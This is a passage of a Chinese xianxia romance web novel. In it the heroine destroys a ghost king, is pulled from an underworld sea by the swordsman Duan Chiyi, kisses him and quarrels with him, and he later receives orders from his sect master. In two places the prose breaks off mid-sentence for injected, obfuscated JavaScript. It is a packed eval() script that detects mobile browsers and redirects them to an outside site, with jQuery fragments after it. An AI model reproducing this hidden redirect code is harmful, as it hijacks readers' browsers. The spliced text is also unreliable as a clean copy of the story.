却见段迟意随意从肩膀上一抓,便将那散着浓郁鬼气的小人掐着脖子拽了出来。 绍景言一惊:“你——” 另一侧房门忽然被人打开,露出黎落单薄的身影。 她神色有些茫然,像是被正在打斗的两人吓了一跳,更是在看见绍景言露出骷髅头真身的时候眼睛猛地睁大。 绍景言见到她的一瞬间,骷髅头两眼放光,急忙借助鬼气避开段迟意挥来的剑,闪身到她身边,一把挟持住了黎落。 黎落短促地“呀”了一声,被一只白骨手臂横在脖子上,被迫跟着绍景言朝后退。 绍景言威胁:“别过来,否则我杀了她!” 段迟意动作顿住,剑指绍景言的脸,目光冷得能淬出冰。 绍景言将头往黎落背后藏了藏。 他直觉段迟意身份有问题,自己恐不是对手,便想抓了黎落先行逃跑。 反正骨伞在黎落身上,往生道又被他关了,将人抓在自己手里,不愁拿不到骨伞。 绍景言这么想着,鬼气从他身上冒出来,浓绸一团,迅速将黎落整个人包了起来。 段迟意瞳孔一缩,冷意瞬间从他双目间凝了出来。 下一刻,他人已至身前,凌厉剑气撕裂鬼气屏障,只差一点便能将绍景言挟持着黎落的胳膊彻底斩落—— 黎落忽然动了。 冷风骤停。 伞面倏忽展开,其上黑色墨迹如同蜿蜒的河流,随着伞面展开的弧度,逐渐在紫红色的华丽伞面上,刻画出浓墨重彩的诡谲之感。 黎落动手,却不是对着挟持她的绍景言,而是段迟意的剑。 “铛”的一声,普通的铁剑挡不住骨伞的攻击,从中间折断。 剑尖坠地的同时,绍景言和黎落的身影彻底被鬼气包裹,消失在段迟意面前。 四周场景在鬼王逃跑后恢复原状,哪里还有雅致的宅院,分明是一处荒野。 在原本是段迟意房间的地上飘着一张纸。 他捡起来,上面是黎落的字迹。 “从往生道走。” * 绍景言落进鬼王殿中。 他被剑砍伤太重,连人皮都难以维持,浑身上下一半的地方都变成了骷髅模样。 但看了一眼摔倒在下方的黎落,以及她握在手里的骨伞,绍景言不由得心中大喜。 山穷水复疑无路,柳暗花明又一村。 这骨伞得来竟如此顺利! 他看着黎落平静的表情,只当她是被自己这副模样吓傻了。 既然骨伞唾手可得,他也不必再装作什么“貌美温柔郎君”了。 绍景言顶着骷髅头,在原本是眼睛的地方,黝黑的两个大洞泛着绿光,恶相尽显: “乖乖老实点,把骨伞交给本王!” 黎落看了一眼手中骨伞,想到她将长剑折断时段迟意的表情,不免有些晃神,便没搭理绍景言。 段迟意好像生气了。 她心想。 段迟意最后虽然什么都没说,但那个眼神,好像恨不得把她生吞活剥了,两只眼睛都写着“等我找着你你就完了”。 好可怕…… 黎落下意识抬起一只手捂住嘴。 “蠢货!你聋了吗?” 绍景言没想到她死到临头还在跑神,大喊一声,吸引了黎落的注意。 她这才慢吞吞放下手,看了绍景言的骷髅脑袋一眼: “这是鬼王的真身?” 绍景言莫名觉得自己被嫌弃了。 一个愚蠢的人类,死到临头,还敢嫌弃他堂堂鬼王?! 段迟意他打不过,难道还能叫一个人族也欺负到他头上? 鬼王双目中绿光更盛,彻底脱去人皮,露出一副绿莹莹的骨头架,鬼王长袍加身,越发像黑夜中夺人性命的鬼魅。 他展开双臂,宽大的黑袍如展开的双翼,自上而下,猛得朝黎落扑来。 却一头撞上了骨伞。 鬼王愣在半空。 下一秒,他便感受到一股浓烈的魔气自伞面冒出,将他整个人击飞出去。 骷髅架在半空一晃,鬼王双臂在空中一划,勉强稳住身形。 隔着伞面,他看到黎落露出的眼睛。 双眸浓黑,不透光亮,哪里还有半点和他出游时天真无辜的样子?! 在他面前执伞而立的,分明是一个气息诡谲的魔! 黎落手腕一转,将伞柄搭在自己肩头,华丽张扬的伞面在她身后展开,映得她粉面桃腮,容色动人。 分明是极其沉重的颜色,在她手中,却构成了一幅清丽灵动的美人执伞图。 可绍景言哪还有心情欣赏美人执伞的场景? 此情此景之下,黎落这般闲适安然的模样,只会显得更加诡异。 看似是被他抓来,但绍景言被黎落用这种打量猪肉的目光看着,莫名有种自己才是瓮中之鳖的错觉。 绍景言如临大敌。 * 一刻钟后,黎落舒了口气,随意丢下手中的骨头。 骨伞在半空飘着,整个大殿里全是被剿灭成灰的鬼族。 就连绍景言自己,也被她用骨伞拆的,已经只剩一个头了。 黎落一边用魔气扫开地上的碎骨,一边在其中翻找着什么。 绍景言的骷髅头下巴一张一合,吐出绝望的语句: “往生道已经给你开了,你到底还想干什么???” 黎落自言自语: “系统之前还说,要哄着,骗着,小心翼翼讨好着,才能有机会活下去……” 她抬头看了一眼地上的骷髅头,眉眼已经被魔气浸染出了几分妖异,微微弯起,很是惊喜的模样: “原来,这么容易啊。” 没打几下,绍景言便坚持不住,主动提出打开往生道送她出去。 比她想的还要快。 黎落听到鬼界入口处往生道打开的声音。 想来这会儿,段迟意应该已经发现了她留的字条,顺利出去了。 绍景言被她的笑吓了一跳,骷髅头朝后滚了滚,被黎落踩在脸上。 她低下头打量他,神色依旧天真,绍景言却已不敢当她是个好欺负的人族。 若不是段迟意伤他在前,他堂堂鬼王,怎么会如此轻易落败?就连鬼兵都被黎落屠了个干净! 妖不是妖,人不是人,云苍阁到底是一群什么东西?! 绍景言内心哀嚎,听得黎落问他: “无量冥海在哪?” “你——” 绍景言还想威胁几句,谁知他刚张嘴,黎落便将骨伞捅到了他眼眶里。 只剩一个头的他立马感受到脑子被魔气拧住的痛,急忙求饶: “在我右手小指的第二个关节里,捏碎、捏碎就行……” 黎落看他一眼,并未依言照做,而是将骨伞朝里压了压,骷髅后脑勺破了个洞,被骨伞彻底洞穿。 绍景言的声音卡在一半,一股鬼气从骷髅的另一只眼睛中冒了出来。 他被骨伞魔气绞碎了最后一点躯体,不得不在魂飞魄散之前弃身而逃,却又不甘心,回头甩出一片黑沉沉的雾气。 无量冥海骤然展开,将黎落包裹起来。 “区区无知小儿,竟敢打碎本君身体,还想要无量冥海!” 鬼王魂体飘在半空,操纵无量冥海的入口缓缓闭合。 眼看黎落被困了进去,绝对不可能再逃出来,绍景言终于露出大仇得报的笑容,放出狠话: “叫你死在无量冥海里,已算是本君仁慈了!” 一团鬼气在空荡荡的大殿里桀桀怪笑起来。 鬼王笑到一半,忽然感到喉头一凉。 一柄银白长剑穿透它的魂体,纯净灵力自剑上生发,瞬间将他混浊的魂体冻结。 他认出了这柄剑,却连念出那两个字的机会都没有, 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指尖触碰到那点光,残魂上的记忆三三两两涌了过来。 黎落一愣。 她看到一个小女孩扎着双髻,四五岁模样,抱着一篮糖果乐颠颠地朝前跑去。 忽然,小女孩被地上的石头绊倒,糖果掉了一地,朝两边滚去。 那格外白皙可爱的小女孩便坐在地上号啕大哭起来。 直到被娘亲抱住搂在怀里,她才嘟着嘴,用软软糯糯的声音撒着娇喊“娘亲”。 而那是她娘亲的人,亦用慈爱的语气回应着自己的孩子…… 黎落却猛地朝后退了一步。 因为那摔倒的小女孩并不是她,而是原来那个“黎落”。 她感觉到了一股莫大的恐慌,急匆匆触摸旁边的、属于爹的残魂。 刚出生的“黎落”,磕磕绊绊走路的“黎落”,笨拙帮忙擦桌子的“黎落”…… 没有一个记忆是她。 全都是她穿越之前的、原书女主。 黎落忽然觉得冷。 记忆是会扭曲变形的。 她忽然开始怀疑过去七年里,爹娘看她的神情,究竟是看着自己“失忆”的女儿,还是一个性格迥异的怪物? 他们知道自己不是原本那个人吗? 那他们为什么还要救她呢? 她挤走了他们的女儿,还害死了他们的命吗? 她怎么会是这样的坏人呢? 黎落失魂落魄地站着。 她身上的魔气往外涌着,手一松,那死于魔族手下的两个魂魄便因着生前的恐惧本能,晃晃悠悠地朝离她更远处飘去。 黎落怔住。 她忽然意识到,她在用原书女主的身体入魔。 原书女主到死都只是个人类。 所以对她的爹娘而言,自己身上的气息混杂,已经彻彻底底,不是以前的“黎落”了。 或许系统早知道她在做什么。 但它只是暗中嘲笑她的愚蠢,嘲笑一个攻略者竟然分不清自己的身份,非但将自己的意志强加在原主身上,竟还妄想得到书中角色的感情。 原书中,女主是怎样的呢? 黎落想着书本里对这个虐文女主善良柔弱的描述,最为叛逆勇敢的一刻便是为封樾挡刀而死。 她不由自主失了力气,朝水底沉去。 无数残魂扑了过来,将她彻底盖在这片不见底的执念深海中。 水下似有万千触手,扯着她,逐渐离头顶的轮回入口越来越远。 远处忽然传来剑啸声。 隔着水若隐若现,仿佛是死前的错觉。 黎落没动。 下一刻,她周围的水面忽而冻结,一个个残魂伸出手,却再难触碰她分毫。 她被冻成冰的水面包围着,肩膀上忽然传来一股大力。 有人一手捏住她肩膀将她朝上提,一手箍在她腰间,力气大得快要把她五脏挤碎。 黎落茫然睁开眼。 身后人的呼吸打在她耳后,冷得像冰,咬牙切齿地说: “黎、落!你给我出来!” 32. 第 32 章 段迟意将黎落捞出来,提到自己身前,晃了晃她脑子里的水。 黎落睁眼,便看见他一张冷冰冰的脸,双眸里带着不加掩饰的怒火,像是寒冰融化,偶然露出里面炽热的火焰似的。 本就极其迤逦的五官被冰火这么一淬,反而呈现出更加惊心动魄的美。 若仔细看去,那双黑而冷的眸子里,竟似乎闪过几分近乎惊慌害怕的情绪。 这可真是奇怪啊。 黎落忍不住走神。 “你可真行啊。” 段迟意恨恨说道。 他用灵力敲在黎落后背,把她不小心吞食的执念逼了出来,又生怕还有他没发现的残魂执念啃食她的灵魂,灵力将她周身上上下下检查了好几遍才放下心来。 垂眸,见黎落仍盯着他看,一双眼睛里连半点愧疚都无,直勾勾的,竟然在愣神。 这副永远不知道自己冒了多大的危险的样子引得段迟意火冒三丈。 每次都是这样,他再三叮嘱,她全当耳旁风! 吹过就忘了,转头就拿自己的小命去搏一搏,丝毫没有找他帮忙的意思。 这一回倒好,直接把自己送到冥海底下,由着那群执念深重的残魂啃食她的阳气。 好在是他赶来的及时,黎落魂魄尚全,没有被无量冥海吞噬。 否则他便是再生气,恐怕也凑不齐一个完整的黎落了…… 一想到这里,后怕、生气、暴躁等等前所未有的情绪一齐涌了上来。 段迟意原本放在她后背的手往下一挪,一拍。 不轻不重的一下,打的黎落下意识“啊”得一声。 她一下子回过神来。 这才意识到她一时冲动,差点害死自己。 濒死的感觉这会儿才丝丝缕缕涌了上来。 还有段迟意…… 他…… 黎落半是茫然半是不理解地看着他,张口想问: “你为什么打——” 被段迟意一把捂住嘴,按着后脑勺压在了他怀里。 他的心跳格外快,动作也有些急,带着几分欲盖弥彰的意味: “你别说话。” 鼻尖全是他身上淡淡的冷香。 黎落的脸贴在他胸前的衣服上,不明所以地“哦”了一声。 她隔着衣服听他的心跳,“砰砰砰砰”的,像是在奏一出鼓点紧密的乐章,实实在在的触感和声音,莫名让她觉得安心。 死里逃生,黎落忍不住想笑。 可刚弯了眼睛,就觉得有什么又冷又热的东西压在她睫毛上,越来越多越来越沉,逐渐模糊了她的视线,她不得不用力眨眼将其甩开。 她嘴角的笑意因此扭曲变形,中途折成了委屈的弧度。 段迟意的心跳平稳下来,他放在她后脑勺上的手松了几分力,一手揽在她腰上,以一个完全包裹的姿态将她抱着。 黎落便在这个密不透风的怀抱里悄悄难过。 其实她哭过很多次了。 不论是梦里实打实的绝望,还是冒险后的无措,又或者是虚情假意的欺骗…… 她从没这么委屈过。 然后她用手抱住了段迟意的腰,将自己的头完全埋到他怀里,把脸挡的严严实实,只露出一个头顶给他看。 段迟意感觉到她两手死死攀在他腰间的衣服上,整个人微微发抖。 他于是将她抱得更紧了些。 过了一会儿,黎落开口,声音哑哑的,被这个紧密的拥抱压得有点沉闷: “段迟意,你是不是生我气了?” “是。” 段迟意抛下一个字。 黎落垂下眸子。 “但……已经安全了。” 他又开口,引起胸膛的振动,传到了黎落这边。 她忍不住将耳朵贴近了点。 段迟意又不说话了。 她心里失望,又问道: “你怎么过来了?我专门逼着鬼王打开往生道。你没有收到我留的字条吗?” 一说起字条段迟意就来气。 她以为留下张字条,他就能看着她遇险、自己逃跑吗? 竟然还敢挡他的剑…… 她把他当什么了?她又把自己当成什么了? 无所不能的六界至尊吗? 但心里这股火起了也没用。 段迟意心想着。 虽然的确很想,但他难道还能真的狠下心来揍黎落一顿吗? 他垂眼,看见她的头埋在他怀里,几缕头发被他的衣服蹭得翘起,弯成一个柔软亲人、但“死不悔改”的弧度。 段迟意莫名就泄了气。 黎落等了半天也没听见他回答,便以为他还在生气,只好自己继续说: “其实我只是想来这里找我爹娘的残魂,但……” 她想起那两个残魂的记忆,说到一半的话忽然一停,心情再一次低落下去。 段迟意疑惑,低头看她。 原先那缕翘起来的头发竟然随着主人的情绪低落,蔫蔫地垂了下去。 怪可怜的。 段迟意见状,抚在她背后的手轻拍两下,关切道: “怎么了?” 黎落:“我感觉自己特别坏。” 段迟意都能想象到她撅着嘴,很是不高兴的样子。 说不定眼角还挂着眼泪。 下一刻,黎落的头埋在他衣服上蹭了蹭,将眼角的泪水全擦在他胸前。 然后她抬起头,从他怀里挣脱出来,赌气似的: “这个世上根本没有人欢迎我,连我爹娘都不!” 段迟意讶然。 他收回手,一时不知道该说些什么是好。 黎落梗着脖子站在那,目光却不由自主落到被段迟意冻成冰、相依偎的两团残魂上。 段迟意的目光随着她落到那里。 他飞身而去,冥海解冻的同时,灵力将那两团残魂包裹着,晃晃悠悠到了黎落面前。 她伸手,那残魂便朝着远离她的地方飘去。 黎落耷拉下眼睛。 段迟意的声音从她身侧飘来: “送他们到轮回入口,或还有机会补全残魂。” 黎落转过头去,没有说话,却也是个默认的意思。 段迟意于是灵力托举着,将残魂送到入口处。 就在两团残魂快要靠近入口时,其中一团忽然停下了。 残魂在半空中转了个圈,竟然直直朝着黎落飞了过来。 紧接着,另一个残魂也追着飞了下来。 黎落下意识抬起手,愣愣看着两团光晕在她指尖轻触。 温柔的,像过去父母的轻抚。 她便在那一刻看到了属于她的记忆。 是她穿越到这里后,父母与她相处、欢笑、最后将她挡在身后的地窖中。 黎落一眨眼,发现自己又在哭了。 时间拖得越久,残魂变得越发透明。 黎落于是狠下心来,两手向上托着,催促那两团残魂离开。 她一直仰头望着,直到彻底看不见了,方才后知后觉地意识到:陪着她适应和接受这个世界的人,终于彻底同她告别了。 不会再有人知道她刚穿越的时候有多惶惑无助,也不会有人明知道她不是“她”,却依然愿意真心对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15432240|167454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她。 自此,黎落,便是黎落。 脸上一片冰凉,却有指腹如羽毛般划过,将她眼角的泪水擦去。 黎落茫然抬头,对上段迟意的眼睛。 他今日看起来实在太过好看,冷白的皮肤更胜美玉,一双乌黑而又明亮的眸子简直比黑宝石还要璀璨。 纵使是冷着脸没什么表情,也宛如泼墨山水画上的灿烂红日,是最点睛的一笔。 从她的角度看去,那双冷黑的眸子正全神贯注地锁在她脸上,指尖凉意轻抚,带来些微不可察的刺痛。 他略皱了眉,语气冷冷的: “怎么受伤了?” “兴许是鬼王打的吧。” 黎落漫不经心地说。 她像是被面前这张因她而或恼或悲的脸蛊惑了,情不自禁地问: “段迟意,你为什么要来陪我呢?” 明明有那么多次都可以对她置之不理,为什么要一次次回来陪她呢? 伤口在眼下,很是细微的一道,又被鬼气遮着,若不是离得近根本看不到。 纵使只是浅浅的一道口子,落在黎落脸上,也像是精心养护的花朵上有了折痕一样。 段迟意觉得很是碍眼。 灵力汇聚在指尖,小心翼翼替她抹平。 不期然间,听见黎落问了这么一句。 他抬眸,看见她眼睛睁得大大的,魔气褪去,但瞳孔中还留着点黑,似乎很难再恢复过去那种纯粹的琥珀色了。 但这样似乎也很好看。 他想。 然后他开口,却说的是别的事: “两河镇的悲剧,很抱歉,当时没有陪着你。” “这和你有什么关系?” 黎落睁着眼睛,看着他,又问了一遍: “那你现在为什么要陪着我呢?” 不。 有关系。 段迟意在心里说。 他持诛邪之剑,习修行之法,入极寒之冰,从一开始便该为世人斩妖除魔。 可天下之大,仙门总有力不能及之处,无辜者众多,他救之不及,又有何颜面受世人感激、担“仙君”之名? 这担子他过去总觉得沉重,但如今,却觉得惭愧。 黎落不知他心中所想,仍抬头看他,等一个答案。 四目相对,她的神态专注而认真。 实则她心中一片空茫,系统和剧情在她头顶悬着,惰怠和心头那点执念拉扯着,她不知道自己该如何平衡这种复杂的情况。 然后她忽然听见了段迟意的回答。 “我喜欢你。” 黎落一愣。 她呆住的样子落在段迟意眼里简直可爱得过分。 他眉目间的冷意软化下去,如春风轻抚,撇去料峭寒意。 微微俯下身,他离黎落更近了一些,两只手像捧着一朵云似的捧着她的脸颊。 他的手心不像往日那样冰冰凉凉的,而是带着一层隐隐约约的温热,轻轻贴在她的皮肤上,修长指节几乎能将她整张脸都拢起来。 他的眸子里像是掉入了天上的星子,闪着一股独特的光芒,黎落确信她从未见过这样的盛景。 ——美得让她情不自禁屏住了呼吸。 然后她猝不及防伸手,一把揽住了段迟意的脖子,压着他朝自己靠近。 他不知她心中所想,毫无防备地被她拉着低下了头,那张精致得难以用言辞描述的容颜便在黎落面前逐渐放大,连带着他身上那股清浅的冷香也一同扑了过来。 她攀着他的肩膀踮脚,微微歪了头,然后猛得凑了上去。 正对着那两片嫣红的唇。 33. 第 33 章 像是掉进了一个铺满细密绒毛的山洞。 初碰时尚觉得冰凉,可甫一贴近,便察觉到那冰凉只是刻意的伪装,其下分明藏着暖洋洋的火,烫得她下意识皱眉,但又为着这舒服地触感而忍不住沉沦。 柔软的、湿润的,像吃到了香甜的糖果,沁凉回甘。 黎落眨了眨眼睛,忽然觉得所有的不愉快都在这一瞬间烟消云散了。 她贴着他的唇,看他双目猛得放大,那明晃晃的不可思议引得她好奇。 她于是想远离几分,好看清他此刻全貌。 但后颈处不知何时多了一只手,修长有力的五指扣着她乌发下的细嫩皮肤,带着凉意的指尖轻轻摩挲着。 察觉到她想后退的动作,那只手立时便按实在她颈上,肌肤相贴的地方生出一层层的燥热感。 她难以后退,只能继续与他贴着。 四目相对,呼吸纠缠,唇齿相依。 段迟意的心跳比她快得多,不用靠近也能听得到。 良久,他才与她拉开了些许距离。 但两人的呼吸仍挨得很近,他唇上水光潋滟,双眸因湿润而显得越发浓黑,在白皙的皮肤衬托下,映得他像一个勾魂夺魄的艳鬼。 他开口,嗓音低沉,透着点魅惑的沙哑: “你……” 顿了顿,他似是平复了一下心情,这才又道: “为什么?” 黎落的呼吸有些不稳,她微微启了唇,轻声喘息。 听见段迟意的问题,她不避不让地回望过去: “你说你喜欢我。” 段迟意默认。 却听见她说: “我有什么好喜欢的?你连我是谁都不知道。” 段迟意神色一愣。 她从他怀里溜出去,远离他几步,神色如常: “我们走吧。” 她转身想要离开无量冥海。 手腕被段迟意扣住。 他的手上还带着点热,却没了方才那种引得人躁动不安的感觉。 “你什么意思?” 他问,语气有些冷,但还带着几分期许。 黎落无辜地回头看他,仿佛刚才的一吻并没有在她心里留下什么特别的含义: “怎么了?我们不回云苍阁了吗?” 她看到段迟意神情诡异,这才意识到自己的一时冲动或许造成了什么不可预测的麻烦。 她下意识便想说: “啊,其实我……” “你等等。” 段迟意觉得自己呼吸开始有些不稳。 但他仍抱着一丝期待。 黎落是个没心没肺的骗子,谎话张口就来,虽然多为利用,但有时候却还有些难得的真心。 她总不肯对自己说实话,所以他不能听她说,他得用别的办法验证。 他没意识到自己的动作有些僵硬,越过一堆黎落的簪子和她买的宝物,掏出了那颗被他压在乾坤袋最下层的鲛珠。 水波微荡,游鱼正待跃动之时,却被他塞进了另一人手中。 黎落手腕被他握着,一脸茫然地接过那颗据说可以测出“真挚的爱意”的鲛珠。 段迟意目不转睛地盯着黎落手上的鲛珠。 盈盈碧水被她白皙的手托着,如仙人端月。 可那鲜红一尾游鱼却如同沉睡一般,一动不动。 段迟意感觉自己好像被什么残酷冰冷的东西裹住了。 他几乎是急不可耐地拉过黎落另一只手,将鲛珠移了过去。 毫无反应。 他将鲛珠拿了回来,在黎落看不见的地方放到自己手中,却见那游鱼如同骤然放生入海一样,十分欢快地转了起来。 他于是又转过身,将鲛珠放到了黎落手中,仿佛一个亡命人期盼最后一点生机一般,期盼着鲛珠的变化。 时间一分一秒过去,段迟意直觉有一盆冷水自他头上倾盆而下,将他心底不知何时开始就已经悄然升起的火苗彻底浇灭。 透心的凉。 这么长时间的相处,那些让他忍不住心动的甜言蜜语、让他忍不住靠近的拥抱和贴近…… 竟然全都是谎言吗? 段迟意感受着心底泛上来的冷气,扣在黎落手腕上的五指逐渐失了力气。 寒气一点点漫上他的眼睛,将那双泛着水光的潋滟眸子彻底封冻。 他松了手,声音恢复了往日的冷淡: “走吧。” 黎落拿着鲛珠,不明所以地望向他: “这珠子……” 段迟意避开了她的靠近。 他不去看她的表情,甚至觉得此刻的空气都让他难以忍受。 将黎落送到云苍阁门口,段迟意头也不回就要离开。 “等等。” 黎落下意识喊住他:“你不和我一起回去吗?” 段迟意背对着她,没说话。 黎落也意识到自己做错了事,见他不搭理自己,便知道他还在气头上。 她不想再触段迟意霉头,于是闭了嘴不再说话。 安静片刻后,段迟意反倒兀自恼了。 他猛得回身,带来一股萧瑟寒风,声音带着透骨的凉意: “黎落,你真的没有心吗?” 这问题太过突然,又太过尖锐。 黎落几乎是本能的愣住,困惑和茫然和厌恶的情绪同时在她眼中闪过,但很快便被压下。 她并不愿意去想这种问题。 段迟意见她这副样子,不由得冷笑一声: “从一开始我就知道,你做的每件事都有目的,魔魂、封樾、骨伞、无量冥海,你与我相处,利用多过真心。” 黎落没有说话。 段迟意于是继续道: “可我不在乎。” “我知道你心里有负担,不敢对别人坦诚相待,所以从未逼迫过你,只想着你本性不坏,如此行径定有其他苦衷,我愿意等你。” 穗穗听到声音跑出来,在门后看着两人。 段迟意的目光从穗穗身上扫过,漆黑双目重新看向黎落: “可是你呢?你分过但凡一丝半点真心在周围人身上……在我身上吗?” “你究竟在害怕什么?” 黎落:“我……” 她欲言又止。 段迟意此刻的质问句句都戳在她心窝上,理智上她该辩解些什么糊弄过去,但他的目光却让她心乱如麻,只说了一个字便张不开口。 段迟意等了半晌,也没能等到她的回答。 他心中失望透顶,垂眸看向地面上斑驳的树影,语带疲惫: “罢了,你回去吧。” 他转身,消失在黎落面前。 黎落只好垂着头,闷闷不乐地转过身去,朝穗穗跟前走。 穗穗忍不住问她: “阁主,您和副阁主吵架了吗?” 黎落:“呃……” 她有点苦恼,还有点心虚: “其实我没想和他吵架,但是他好像挺生气的。” 穗穗回头看了一眼,身后早已没了段迟意的身影。 看样子,这个讨人厌的副阁主应该不会再回来了。 她心情大好,浅金色的眸子闪着光,安慰黎落: “我早就知道他不是什么好人,走了正好,阁主不必为他难过。” 黎落神思不属地“哦”了一声。 她想说点什么转移黎落的注意力,于是问道: “阁主这次在极乐楼买了什么好玩的东西?钱花完了吗?” 黎落心不在焉: “挺多的,买了株灵草,烟锦纱,我还顺便斗了兕兽,捡了骨伞……” 说着,她忽然想起来东西全在段迟意那里,自己手里只有个惹了他生气的鲛珠。 穗穗:“……” 好在她是矿脉,副阁主卷钱逃跑这事,还不足以动摇云苍阁的根基。 * 仙门。 祥云缭绕,雾气环山。 灵力最为充沛之地,草木繁盛,仙鹤悬鸣。 在主峰之后,却坐落着一块山峰般巍峨的寒冰。 其冷意森然,云雾触之成冰,融入其中,直达天际。 寒冰周围自然没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15436943|167454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有灵植生长,连人影也无。 段迟意在寒冰前头站了片刻,才听得师尊传唤。 他收回思绪,迈步上前,于一封闭洞府前行礼: “参见师尊。” 静默片刻后,里面传来一道低沉的声音: “你追查魔魂日久,可有进展?” 段迟意垂眸,容颜掩于面具之下,神色不变: “魔魂狡猾,弟子无能,未能将其擒获,烦请师尊降罪。” 尚在闭关的成胥道君对此未置可否,只道: “沧宿心思深沉,魔魂虽无独立神志,却也承其习性,你出寒冰不过七年,暂时落败也是正常。” 段迟意拱手: “多谢师尊。” 成胥道君又提起了另一桩事: “蒋思源前日来报,说在极乐楼得你相助。” 段迟意道: “弟子一路追魔魂而去,偶遇骨伞现世,但未能将其取回。” 连续两桩事都没办成,成胥道君已心有不悦。 但珩亦是当下唯一能使用破妄剑的弟子,魔尊沧宿复活在即,仙门还有用得上他的地方。 于是成胥只好道: “此事暂且作罢。尚有一事十分紧急。” “当年沧宿战败,魔魂碎裂,魔身落于极渊之中,混沌之力亦不知所踪。” “这些年来,混沌之力的归属,一直是仙门心头大患。” 段迟意悉心听教。 “魔魂与骨伞相继现世,极渊亦是躁动频频。为师只怕沧宿那魔头贼心不死,又将重回世间。” 成胥说罢,挥手,甩出一道仙门灵符: “魔尊若归,必先取混沌之力。珩亦,仙门之中,唯你可破寒冰,执破妄剑。” 那灵符晃晃悠悠飞到段迟意面前,化作一块仙门独有的传送玉牌。 “极渊若开,你即刻入内一探。若得魔尊踪迹,杀无赦。若见混沌之力,以此玉牌打开通路,仙门援军即刻便至。” 段迟意犹豫片刻,没有立即接过玉牌。 成胥的声音被灵力传送而出,带着威慑压在他两肩: “珩亦吾徒,莫忘旧人魂魄尚在炼狱之中,你受两百年寒冰之苦,他们亦等了你两百年。” 段迟意闻言,神色黯淡下去。 是啊,还有故人在等他。 他接过传送玉牌: “弟子领命。” 成胥终于露出满意神态,摆手: “去吧,莫让为师与仙门……失望。” * 直到走出寒冰范围许久,那股透出骨缝的森冷寒气才减缓许多。 但空气仍是冰冷的。 不远处走来几个身着青白道袍的弟子,皆是神色板正,见着戴面具的段迟意后,姿态瞬间变得更加恭敬畏惧。 整个仙门上下皆十分安静。 极渊动荡的消息传出后,弟子修行更加刻苦勤勉,以备来日之战。 段迟意却觉得有些疲惫。 不知怎的,他忽然又想到了黎落。 云苍阁只有三个人,但每天都十分热闹,总能折腾出三十个人的架势。 他日日打理庶务、规整库房、描绘符咒,偶尔处理几个闯门的妖鬼之流,时不时还要陪熬夜不睡的阁主夜聊,如今回忆起来,竟觉得十分充实。 只是一想到那天黎落被他质问后怏怏的神色,段迟意的心就跟着软了下来。 虽然她…… 但他是否真的说的太重了? 段迟意下意识抿唇。 恍惚间,又觉得那柔软香甜的触感仍在似的。 某个瞬间,他心中一惊,下意识朝旁看去,这才发觉自己虽在仙门中,但戴着面具,无人可见他此刻神色。 段迟意的心于是又飘到了云苍阁,飘到了黎落身上。 罢了,在极乐楼买的东西尚在他这边,不若寻个机会送回去,也免得那个矿脉骂他“卷钱逃跑”。 更重要的是…… 他垂眸,捏了捏手中的“自在菩萨”石坠。 不知他离开的这几日,黎落会在干什么呢? 34. 第 34 章 黎落在道歉。 “对不起,我知道你对我动手都是受剧情所困,但是我当是真的太害怕了,一着急,就等不着别人来救我了……” 她一边碎碎念着,一边给原云苍阁主的坟头加了几捧土。 埋了人的地方花长的很好,黎落脸上的歉意也是真情实感的。 这几天段迟意不在,她认真反思了自己的所作所为,觉得自己确实对这里的人太不上心了。 虽说是书里的角色,却也都如段迟意那般会生气会伤心的。 她端正了心态。 骨伞落在她手里的消息并非隐秘,一些不要命的家伙闻风而来,都被她剁吧剁吧埋到了后院。 当然边埋边道歉。 是以她连续好几日没能睡觉。 这天终于安生下来以后,黎落却又拉住了穗穗,问她: “你当时为什么,要选我当阁主呢?” 黎落问完,没等穗穗回答,先揉了揉自己脸,开始道歉: “对不起,那天段迟意骂的对,其实我也没有真心待你。” 当时混沌之力爆发杀了原云苍阁主后,穗穗将阁主令牌递到她手上时,她心里想的不是感激,而是“幸好”。 幸好矿脉没有“誓死护主”的决心,不然她还得连它一起杀了。 穗穗总没什么表情,闻言也只是动了动眼睛,像是在思考。 “因为阁主……看起来很奇怪。” 穗穗说。 她仔细看了看黎落,点点头,一本正经: “阁主太想要活下去了,我可以帮阁主活下去。” 黎落愣住。 穗穗试图做出个笑的表情,但模仿出来总有些僵硬,唯独那双浅金色的眸子十分真挚: “其实阁主比阁主自己想象的要好得多。” 穗穗说完就蹦蹦跳跳走了。 留下黎落一个人抱着膝盖发呆。 过了好久,她想起来自己还有一个人没有道歉。 ——冯月婵冯姐姐。 她还不知道,冯府丢失的紫玉蟾蜍的一只眼睛是她偷的。 她也不知道,自己当初和她一起去回冯府,不止是为了陪着她,更是为了抢走魔魂。 黎落又跑到库房,开始翻箱倒柜找写信的纸笔。 云苍阁库房里堆了太多宝物,寻常纸笔这样普通的东西,肯定早被挤到了不起眼的角落。 黎落捧着颗拳头大的夜明珠在一格格架子中间翻找。 忽然,库房的门猛得被风吹动。 黎落转身,面前正对着一根尖刺。 一个不知道是什么东西的妖怪举着尖刺哈哈大笑: “都说那个小白脸卷钱跑了,云苍阁孤立无援,果然是真的!” 他将尖刺往黎落脸上怼了怼: “现下看谁还能护着你!把骨伞交出来!” 黎落:“……” 她蹙眉:“他是副阁主,也没有卷钱跑了。你怎么污蔑别人。” “废话少说!” 对方觉得她认不清形势,横眉竖眼吼了句: 